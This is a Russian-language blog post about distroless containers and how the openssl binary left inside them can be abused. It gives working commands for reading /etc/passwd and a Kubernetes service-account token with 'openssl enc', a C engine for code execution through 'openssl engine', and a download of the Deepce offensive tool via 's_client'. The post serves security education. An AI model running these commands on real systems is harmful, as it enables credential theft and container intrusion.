Найти в Дзене
Вадим Белоус

Эксплуатация distroless контейнеров

Distroless - это лучшая практика, которая сформировалась и используется в Google и других технологических гигантах. Сам концепт distroless образов нацелен на то, чтобы ограничить содержимое среды для запуска приложения в контейнере. В таком контейнере обычно нет ничего кроме самого приложения и зависимостей, которые нужны для его работы. Это позволяет не только уменьшить размер образа, но и сделать контейнер более безопасным, за счёт отсутствия в нём инструментов, которые обычно используются злоумышленниками для эксплуатации в контейнерных средах Получаем, что Помимо реализации distroless от Google, есть также другой интересный проект - Slim Toolkit, который использует несколько иной подход. После сборки совершенно обычного контейнера, утилита запускает его и запоминает какие файлы и системные вызовы были использованы. После завершения этого процесса она копирует все затронутые файлы в новый контейнер, создаёт профили безопасности для AppArmor и SecComp. На выходе должен получиться мал

Distroless - это лучшая практика, которая сформировалась и используется в Google и других технологических гигантах. Сам концепт distroless образов нацелен на то, чтобы ограничить содержимое среды для запуска приложения в контейнере. В таком контейнере обычно нет ничего кроме самого приложения и зависимостей, которые нужны для его работы. Это позволяет не только уменьшить размер образа, но и сделать контейнер более безопасным, за счёт отсутствия в нём инструментов, которые обычно используются злоумышленниками для эксплуатации в контейнерных средах

Получаем, что

  • Размер самого маленького distroless образа gcr.io/distroless/static-debian11 меньше alpine примерно в три раза. ~2.5 MB против ~7.8 MB
  • Отсутствие пакетного менеджера, с помощью которого можно доставить нужное ПО; утилит, которые находятся в составе busybox; других системных утилит
  • Сканирование с помощью инструмента Aqua Secutiry для выполнения SCA trivy показало, что alpine 3.20.0 имеет несколько уже исправленных брешей типа medium в компонентах busybox, busybox-binsh, libcrypto3, libssl3 и ssl_client. В то время как сканирование gcr.io/distroless/static-debian11 (debian 11.9) показало результаты UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0. Чем сложнее и больше система, тем больше вероятность наличия в ней уязвимостей 😁

Помимо реализации distroless от Google, есть также другой интересный проект - Slim Toolkit, который использует несколько иной подход. После сборки совершенно обычного контейнера, утилита запускает его и запоминает какие файлы и системные вызовы были использованы. После завершения этого процесса она копирует все затронутые файлы в новый контейнер, создаёт профили безопасности для AppArmor и SecComp. На выходе должен получиться маленький безопасный контейнер

Узнать является ли ваш образ distroless можно
тут

К чему я это всё? Distroless контейнеры не такие неприступные, как кажутся на первый взгляд. Площадь для атаки всё-таки есть. Плацдармом является пакет OpenSSL в
базовом образе

Часть скрипта на bazel, благодаря которому пакет OpenSSL попадает в базовый образ:

BASE_DISTRO_DEBS = {
"debian11": [
"libssl1.1",
"openssl",
],
"debian12": [
"libssl3",
],
}

После установки данный пакет предоставляет два файла: /usr/bin/c_rehash и нужный для эксплуатации /usr/bin/openssl

Запомнили эту информацию? Теперь перейдём к сценарию эксплуатации

Запустите контейнер с помощью Docker из образа
gcr.io/distroless/nodejs и передайте ему для теста произвольный код на JS, который будет создавать какую-либо активность в контейнере какое-то время и не позволит ему умереть сразу же после запуска:

sudo docker run -d --rm --name my-distroless gcr.io/distroless/nodejs -e 'setTimeout(() => console.log("Done"), 99999999)'

Если звёзды сошлись на небе, то после выполнения docker ps вы увидите, что на Docker Engine был запущен нужный контейнер

Моделирование ситуации:
Представьте, что вы злоумышленник и нашли, например, какой-нибудь вероятно уязвимый параметр на веб-сайте. В надежде, что вы одержали победу над системой, пробуете получить вывод какой-нибудь команды по типу
ps или uptime

sudo docker exec -it my-distroless uname

И получаете

OCI runtime exec failed: exec failed: unable to start container process: exec: "uname": executable file not found in $PATH: unknown

Что делать? Как быть? Спокойствие. Вы попали в distroless контейнер! Тут нет ни оболочки командной строки(bash, sh, etc), ни системных утилит. Даже если у вас получилось проникнуть в оболочку, то дальнейшая эксплуатация вряд ли будет возможна ввиду отсутствия даже базовых утилит

P.S. Случай, когда в distroless контейнере реально может находиться шелл, возможен, поскольку иногда под distroless подразумевают golden или base image

Минимальный Proof-Of-Concept:

Нет sh, curl, cat, но зато есть openssl. Что с ним делать? Как минимум, с помощью одной из его функций enc можно читать системные файлы:

sudo docker exec -it my-distroless openssl enc -in /etc/passwd


Неплохо?

root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin


Но хочется чего-то большего, чем обычное чтение файлов. Например, выполнение произвольного кода

Для этого предварительно необходимо поставить пакет libssl-dev в систему и скомпилировать следующий код на С, который я написал в качестве минимального PoC:

#include <openssl/engine.h>
#include <sys/utsname.h>

static int bind(ENGINE *e, const char *id) {

struct utsname buffer;

errno = 0;

if(uname(&buffer) < 0)
{
perror("uname");
exit(EXIT_FAILURE);
}

printf("system name = %s\n", buffer.sysname);
printf("node name = %s\n", buffer.nodename);
printf("release = %s\n", buffer.release);
printf("version = %s\n", buffer.version);
printf("machine = %s\n", buffer.machine);

return EXIT_SUCCESS;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()


Этот код использует библиотеку
utsname.h, для того чтобы вывести на экран некоторую минимальную информацию о системе. Скомпилируйте этот код:

gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o


На выходе должен получиться 64 битный ELF Shared Object stripped (эльф стриптизёр) -
hostname.so

Чтобы убедиться в работоспособности выполните следующую команду на хосте:

openssl engine $PWD/hostname.so


На экран должна посыпаться информация о системе

Теперь этот объект можно занести в distroless контейнер с помощью функции enc в openssl и кодирования, например, в base64 для удобной транспортировки содержимого

Также, в качестве меры предосторожности, чтобы защититься от мамкиных скриптеров, я оставляю инструкцию не полностью детализированной

Вывод: Как можно понять из поста, наличие openssl в контейнере может позволить читать данные или даже занести какой-то свой файл и после исполнить его

На затравку:

1. Получение токена учётной записи в Kubernetes

kubectl exec -it my-distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token

2. Закачка в контейнер с отсутствием wget/curl инструмента Deepce - фреймворка наступательной информационной безопасности для эксплуатации контейнерных сред

(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh

Также этот пост можно посмотреть на вебсайте и в ТГ канале в двух частях (первая часть, вторая часть)

Disclaimer: Автор не несёт ответственность за неправомерные действия, совершенные на основе изложенного контента